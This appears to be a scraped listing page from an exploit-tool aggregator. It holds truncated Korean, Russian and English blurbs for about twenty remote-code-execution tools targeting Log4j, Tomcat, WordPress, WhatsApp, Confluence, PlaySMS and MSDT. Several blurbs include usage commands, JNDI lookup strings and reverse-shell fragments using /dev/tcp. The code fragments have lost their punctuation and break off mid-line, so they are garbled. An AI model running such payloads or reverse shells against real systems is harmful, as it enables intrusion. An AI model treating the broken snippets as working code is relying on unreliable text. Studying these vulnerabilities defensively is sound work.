CVE-2021-22205

CVE-2021-22205 CVE-2021-22205 RCE 도구는 공유 및 교류 목적으로만 제공됩니다. 무단 테스트에 사용하지 마십시오. 이로 인한 책임은 작성자와 무관합니다. root@kitploit: -R string VPS to load tools eg: -R 127.0.0.1:8083 -T string Tool name eg: -T fscan -c string exec cmd eg: -c "id" default "id" -host string reverse shell host -m string Method for...

ghostcat

Этот инструмент использует уязвимость LFI внутри Apache Tomcat под названием CVE-2020-1938 не только для просмотра конфиденциальных файлов, но и для запуска вредоносных JSP-нагрузок. Его можно скачать здесь вам нужно будет запустить его из командной строки Использование:...

CVE-2021-44228-Demo

CVE-2021-44228-Demo Пример удаленного внедрения кода с использованием CVE-2021-44228 через RMI и LDAP. root@kitploit: Exploit class from RMI Server loaded Hello, $jndi:rmi://127.0.0.1:1099/exploit Exploit class from LDAP Server loaded Hello, $jndi:ldap://127.0.0.1:1389/org.mazhuang.ldap.Exploit...

wordpress_cropimage

WordPress Crop-Image CVE-2019-8943 Скрипт на Python3 для WordPress Crop-Image CVE-2019-8943 — аутентифицированное удалённое выполнение кода RCE. Он помещает вредоносный PHP-бэкдор. Начало работы Выполнение программы RCE root@kitploit: python3 wprce.py -t http://wordpress.rce/ -u admin -p password...

WhatsPayloadRCE

WhatsPayloadRCE 이것은 CVE-2019-11932WhatsApp 원격 코드 실행용 페이로드를 자동으로 생성하는 도구입니다. 1. GCC 자동 설치무해한 명령어이며, 오픈소스이므로 직접 확인할 수 있습니다 2. .GIF 파일로 저장 사용 방법? root@kitploit: sudo apt install git git clone https://github.com/Err0r-ICA/WhatsPayloadRCE cd WhatsPayloadRCE && bash start 스크린샷 셸 얻는 방법? 1. .GIF 파일을 이미지가...

CVE-2024-4367-PoC

CVE-2024-4367 и CVE-2024-34342: Произвольное выполнение JavaScript в PDF.js Отсутствовала проверка типа при обработке шрифтов в PDF.js, что позволяло произвольное выполнение JavaScript в контексте PDF.js. Эта уязвимость затрагивает Firefox 126, Firefox ESR 115.11 и Thunderbird 115.11. Если PDF.js...

CVE-2024-23739

CVE-2024-23739 macOS의 Discord 0.0.291 이하 버전에서 발생하는 문제로, 원격 공격자가 RunAsNode 및 enableNodeClilnspectArguments 설정을 통해 임의의 코드를 실행할 수 있습니다. Electron에서 취약점을 검색하는 과정을 자동화하도록 설계된 도구가 있습니다: https://github.com/r3ggi/electroniz3r 이 도구를 사용하면 앱이 취약한지 확인할 수 있습니다: 검증 후, 코드를 주입하여 셸을 얻을 수 있습니다 셸을 즐기세요 :...

ConfluentPwn

ConfluentPwn Сканер удалённого выполнения кода через внедрение ONGL без аутентификации в Confluence CVE-2022-26134. Использование На GIF ниже показано демонстрационное использование инструмента: Вот вывод справки инструмента: root@kitploit: $ ./cfscan -h +-------------------------------+ | C O N ...

CVE-2020-8644-PlaySMS-1.4

CVE-2020-8644-PlaySMS-1.4 PlaySMS 1.4.3 미만 버전을 공격하는 Python 스크립트 실행 nc로 포트 열기: 그리고 exploit.py를 실행합니다: root@kitploit: ./exploit.py 익스플로잇 변경하기 exploit.py가 생성하는 리버스 셸을 변경하고 싶을 수 있습니다. 이를 위해 exploit.py의 1419번째 줄에 있는 createrevshellencoded 함수를 변경하면 됩니다: root@kitploit: def createrevshellencodedlhost,lpor...

Exploit-CVE-2024-31777

CVE-2024-31777 | GUnet OpenEclass 전자학습 플랫폼 무제한 파일 업로드 PoC 📜 설명 이 스크립트는 GUnet OpenEclass 전자학습 플랫폼에서 발견된 CVSS 9.8의 보안 취약점인 CVE-2024-31777에 대한 개념 증명PoC을 제공합니다. 이 취약점은 'certbadge.php' 엔드포인트에 영향을 미칩니다. 관리자 권한을 가진 인증된 공격자는 ZIP 기능을 통해 무제한 파일 업로드를 수행하여 원격 코드 실행을 달성할 수 있습니다. 📜 설치 이 도구는 Python3로 작성되었으며, 올바...

manticore

⚠️ Project is archived ⚠️ This project is no longer internally developed and maintained. Manticore Manticore is a symbolic execution tool for the analysis of smart contracts and binaries. Features Program Exploration : Manticore can execute a program with symbolic inputs and explore all the...

CVE-2024-29269

CVE-2024-29269 TLR-2005KSH 라우터에서 인증되지 않은 OS 명령어 실행을 가능하게 하는 취약점입니다. 이 익스플로잇은 취약점을 이용하여 영향을 받는 라우터에서 임의의 명령어를 실행합니다. Dork ZoomEye :- title:"Login to TLR-2005KSH" 출처: https://leakix.net/search?scope=service&q=%22Login+to+TLR-2005KSH%22...

isf

Industrial Exploitation Framework ISFIndustrial Exploitation Framework is a exploitation framework based on Python, it's similar to metasploit framework. ISF is based on open source project routersploit. Read this in other languages:English, 简体中文, Disclaimer Usage of ISF for attacking targets...

SSE4-CVE-2022-22965

Spring Boot CVE-2022-22965 Spring Boot 버전 2.6.5 기반 CVE-2022-22965 Docker PoC 시작하기 1. 취약한 애플리케이션을 빌드하고 시작하려면 docker compose up --build를 실행하세요. 2. Tomcat 구성 밸브를 변경하려면 curl -H "Accept: text/html;"...

CVE-2009-4623

CVE-2009-4623 Advanced Comment System 1.0 Обратная оболочка Множественные уязвимости удаленного включения файлов в Advanced Comment System 1.0 позволяют удаленным злоумышленникам выполнять произвольный PHP-код через URL в параметре ACSpath в 1 index.php и 2 admin.php в advancedcommentsystem/...

CVE-2019-0193-exp

CVE-2019-0193-exp 1 root@kitploit: &/dev/tcp/127.0.0.1/9999 0&1"; var result = ; whiletrue var oneline = bufReader.readLine; result.push oneline ; if!oneline break; row.put"title",result.join"\n\r"; return row; 2.jdbc: root@kitploit: &/dev/tcp/127.0.0.1/9999 0&1"; entity name="a"...

CVE-2022-26134

CVE-2022-26134 - Уязвимость внедрения OGNL: Скрипт proof of concept, эксплуатирующий уязвимость удаленного выполнения кода, затрагивающую Atlassian Confluence 7.18 и более ранние версии продуктов. Уязвимость внедрения OGNL позволяет неаутентифицированному пользователю выполнить произвольный код н...

omigod-lab

Readme Образовательная лабораторная ВМ для изучения уязвимости неаутентифицированного удаленного выполнения кода RCE с оценкой CVSS 9.6 в программном обеспечении Open Management Infrastructure CVE-2021-38647. Раскрытие оригинальное исследование:...

log4shell_1.x

Log4jShell1.x Log4j RCE 1.x Poc 공격 제한 사항 1. 대상에 jms 환경이 있어야 함 2. log4j.properties 파일을 수정할 수 있는 접근 권한이 필요함 결론 log4shell 2.x만큼 유용하지 않음 Log4shell 주제 https://github.com/cckuailong/reapoc/tree/main/Topic/Log4j reapoc에 기여하기를 환영합니다 https://github.com/cckuailong/reapoc...

Deathnote

Deathnote Доказательство концепции CVE-2022-30190 Уязвимость удаленного выполнения кода существует, когда MSDT вызывается через протокол URL из вызывающего приложения, такого как Word. Злоумышленник, успешно эксплуатирующий эту уязвимость, может запускать произвольный код с правами вызывающего...